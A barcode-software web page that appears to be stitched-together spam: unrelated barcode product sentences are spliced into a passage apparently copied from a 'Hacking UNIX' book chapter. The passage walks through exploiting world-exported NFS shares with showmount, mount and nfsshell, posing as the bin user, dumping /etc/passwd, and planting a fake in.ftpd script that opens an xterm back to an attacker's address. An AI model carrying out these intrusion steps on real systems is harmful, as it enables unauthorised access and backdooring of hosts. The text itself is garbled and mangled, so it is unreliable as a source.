- Home
- Products
- Integration
- Tutorial
- Barcode FAQ
- Purchase
- Company
nlockmgr nlockmgr nlockmgr in .NET
nlockmgr nlockmgr nlockmgr Generate Code 128A In VS .NET Using Barcode generation for .NET Control to generate, create Code 128 Code Set B image in VS .NET applications. Read ANSI/AIM Code 128 In Visual Studio .NET Using Barcode scanner for Visual Studio .NET Control to read, scan read, scan image in VS .NET applications. mountd mountd mountd mountd mountd mountd nfs nfs nfs_acl nfs_acl nfs nfs nfs_acl nfs_acl
Bar Code Generator In VS .NET Using Barcode generator for VS .NET Control to generate, create bar code image in Visual Studio .NET applications. Reading Bar Code In Visual Studio .NET Using Barcode recognizer for .NET framework Control to read, scan read, scan image in .NET framework applications. By querying the portmapper, we can see that mountd and the NFS server are running, which indicates that the target systems may be exporting one or more file systems Code 128C Generator In C#.NET Using Barcode printer for .NET Control to generate, create Code 128B image in .NET applications. Code 128 Code Set C Maker In Visual Studio .NET Using Barcode maker for ASP.NET Control to generate, create USS Code 128 image in ASP.NET applications. [tsunami]# showmount -e quake Export list for quake: / (everyone) /usr (everyone) ANSI/AIM Code 128 Drawer In Visual Basic .NET Using Barcode generator for .NET Control to generate, create Code 128 image in .NET applications. EAN 128 Maker In VS .NET Using Barcode generator for VS .NET Control to generate, create EAN 128 image in .NET framework applications. The results of showmount indicate that the entire / and /usr file systems are exported to the world, which is a huge security risk All attackers would have to do is mount / or /usr, and they would have access to the entire / and /usr file system, subject to the permissions on each file and directory Mount is available in most flavors of UNIX, but it is not as flexible as some other tools To learn more about UNIX s mount command, you can run man mount to pull up the manual for your particular version, as the syntax may differ: Print EAN 13 In Visual Studio .NET Using Barcode encoder for VS .NET Control to generate, create EAN13 image in Visual Studio .NET applications. Drawing Bar Code In Visual Studio .NET Using Barcode printer for VS .NET Control to generate, create barcode image in Visual Studio .NET applications. 8: Make Linear In .NET Using Barcode drawer for VS .NET Control to generate, create 1D image in Visual Studio .NET applications. International Standard Book Number Creation In VS .NET Using Barcode drawer for .NET Control to generate, create International Standard Book Number image in VS .NET applications. Hacking UNIX
Decoding Code 128C In Visual C# Using Barcode recognizer for .NET framework Control to read, scan read, scan image in .NET framework applications. UCC-128 Encoder In C#.NET Using Barcode drawer for VS .NET Control to generate, create USS-128 image in .NET framework applications. [tsunami]# mount quake:/ /mnt
Data Matrix ECC200 Drawer In Java Using Barcode generation for Android Control to generate, create Data Matrix 2d barcode image in Android applications. Bar Code Encoder In Objective-C Using Barcode maker for iPhone Control to generate, create bar code image in iPhone applications. A more useful tool for NFS exploration is nfsshell by Leendert van Doorn, which is available from ftp://ftpcsvunl/pub/leendert/nfsshelltargz The nfsshell package provides a robust client called nfs Nfs operates like an FTP client and allows easy manipulation of a remote file system Nfs has many options worth exploring Generate EAN-13 Supplement 5 In Visual C# Using Barcode drawer for .NET Control to generate, create GTIN - 13 image in VS .NET applications. Matrix Barcode Maker In Java Using Barcode generator for Java Control to generate, create 2D Barcode image in Java applications. [tsunami]# nfs nfs> help host <host> - set remote host name uid [<uid> [<secret-key>]] - set remote user id gid [<gid>] - set remote group id cd [<path>] - change remote working directory lcd [<path>] - change local working directory cat <filespec> - display remote file ls [-l] <filespec> - list remote directory get <filespec> - get remote files df - file system information rm <file> - delete remote file ln <file1> <file2> - link file mv <file1> <file2> - move file mkdir <dir> - make remote directory rmdir <dir> - remove remote directory chmod <mode> <file> - change mode chown <uid>[<gid>] <file> - change owner put <local-file> [<remote-file>] - put file mount [-upTU] [-P port] <path> - mount file system umount - umount remote file system umountall - umount all remote file systems export - show all exported file systems dump - show all remote mounted file systems status - general status report help - this help message quit - its all in the name bye - good bye handle [<handle>] - get/set directory file handle mknod <name> [b/c major minor] [p] - make device Encode Code 39 Extended In Java Using Barcode drawer for Java Control to generate, create USS Code 39 image in Java applications. Code 128B Maker In None Using Barcode maker for Font Control to generate, create Code 128 image in Font applications. We must first tell nfs what host we are interested in mounting: nfs> host quake Using a privileged port (1022) Open quake (192168110) TCP
Hacking Exposed: Network Security Secrets and Solutions
Let s list the file systems that are exported: nfs> export Export list for quake: / everyone /usr everyone
Now we must mount / to access this file system: nfs> mount / Using a privileged port (1021) Mount '/', TCP, transfer size 8192 bytes
Next we will check the status of the connection and determine the UID used when the file system was mounted: nfs> status User id : Group id : Remote host : Mount path : Transfer size: -2 -2 'quake' '/' 8192 We can see that we have mounted /, and that our UID and GID are 2 For security reasons, if you mount a remote file system as root, your UID and GID will map to something other than 0 In most cases (without special options), you can mount a file system as any UID and GID other than 0 or root Because we mounted the entire file system, we can easily list the contents of the /etc/passwd file nfs> cd /etc nfs> cat passwd root:x:0:1:Super-User:/:/sbin/sh daemon:x:1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/: adm:x:4:4:Admin:/var/adm: lp:x:71:8:Line Printer Admin:/usr/spool/lp: smtp:x:0:0:Mail Daemon User:/: uucp:x:5:5:uucp Admin:/usr/lib/uucp: nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico listen:x:37:4:Network Admin:/usr/net/nls: nobody:x:60001:60001:Nobody:/: noaccess:x:60002:60002:No Access User:/: nobody4:x:65534:65534:SunOS 4x Nobody:/: gk:x:1001:10::/export/home/gk:/bin/sh sm:x:1003:10::/export/home/sm:/bin/sh 8: Hacking UNIX
Listing /etc/passwd provides the usernames and associated user IDs However, the password file is shadowed so it cannot be used to crack passwords Since we can t crack any passwords and we can t mount the file system as root, we must determine what other UIDs will allow privileged access Daemon has potential, but bin or UID 2 is a good bet because on many systems the user bin owns the binaries If attackers can gain access to the binaries via NFS or any other means, most systems don t stand a chance Now we must mount /usr, alter our UID and GID, and attempt to gain access to the binaries: nfs> mount /usr Using a privileged port (1022) Mount '/usr', TCP, transfer size 8192 bytes nfs> uid 2 nfs> gid 2 nfs> status User id : 2 Group id : 2 Remote host : 'quake' Mount path : '/usr' Transfer size: 8192 We now have all the privileges of bin on the remote system In our example, the file systems were not exported with any special options that would limit bin s ability to create or modify files At this point, all that is necessary is to fire off an xterm or to create a back channel to our system to gain access to the target system We create the following script on our system and name it inftpd: #!/bin/sh /usr/openwin/bin/xterm -display 10101010:00 & Next, on the target system we cd into /sbin and replace inftpd with our version:
|
|